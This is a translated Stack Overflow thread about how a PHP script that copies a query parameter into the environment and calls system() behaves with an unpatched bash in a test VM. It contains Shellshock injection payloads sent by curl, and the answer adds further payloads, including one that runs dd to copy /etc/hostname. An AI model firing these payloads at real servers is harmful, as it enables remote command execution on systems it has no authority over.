PHP与Shell交互时的行为

5
我想测试PHP与bash shell(版本4.2)的交互。我的bash shell没有进行shellshock修补(是的,我知道如何进行修补;我正在虚拟机上进行测试;我更关注PHP与shell的交互)。
我有一个简单的PHP程序,它通过查询字符串获取参数,通过putenv()将其添加到环境中,然后使用system()运行一个命令。该脚本如下:
<?php

 function getParam() 
 {
     $arg = NULL;   

     if (isset($_GET["arg"]) && !empty($_GET["arg"])) 
     { 
         $arg = $_GET["arg"]; 
     } 
     return $arg; 
 } 

 $arg = getParam(); 

 putenv("ARG=$arg");

 system("set");

?>

你可以看到,system() 函数使用 set 命令来打印 shell 变量。我最初尝试使用以下命令:

curl http://localhost/myphp.php?arg=123

在输出中,我可以看到以下行:
ARG=123

受到Shellshock漏洞的启发,我接下来改变了我的论点:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"

这个参数基本上是这样设置的:

arg=() { echo hello; };

当我运行脚本时,我在set的输出中没有看到ARG

但是我将curl请求更改如下:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"

这次,参数设置如下:
arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set

这次,我仍然没有在system()的输出中看到ARG,但由于参数原因,我看到了额外的输出,如下所示:
PID:0

Set:
// Omitted some output
ARG () 
{ 
   echo hello
}

那么我的问题是,为什么我通过system()set输出中看不到参数ARG,而在参数中却能看到呢? 编辑: 重新表述问题以使其更清晰:在PHP代码中,我调用system(set)(最后一行)与将set作为查询字符串的一部分传递。通过system()执行的Set不显示shell变量中的ARG,而通过查询字符串执行的set是显示的(尽管PID输出为0 - 因此必须考虑这一点来解释这个问题)。
以下是完整输出:http://pastebin.com/raw.php?i=WcBXgYAj 如果我将system(set)更改为system(env),则会看到输出:http://pastebin.com/raw.php?i=q1r6Z3Zi

@EtanReisner 请检查问题编辑。 - Jake
啊,你的意思是受到shellshock影响的set命令与显式调用set命令的system调用之间的区别。(我一直在试图弄清楚为什么0会出现在第一行和PID:同一行的情况。) - Etan Reisner
我已经放置了包含完整输出的链接。 - Jake
这不是一个答案。运行 PHP 的是什么?mod_php?cgi?scgi?fastcgi?还是其他什么东西? - Etan Reisner
是的,我确定。我之前在同一台虚拟机上测试过Shellshock。 - Jake
显示剩余13条评论
1个回答

1

不是

arg=() { echo hello; };

试试这个

() { :;};echo Yes we can...

或者这个

%28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can...

...或者可能在其中间有些东西

你可以尝试追踪一些东西:

(){ :;};dd if=/etc/hostname of=/tmp/testfile-$$-$RANDOM

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接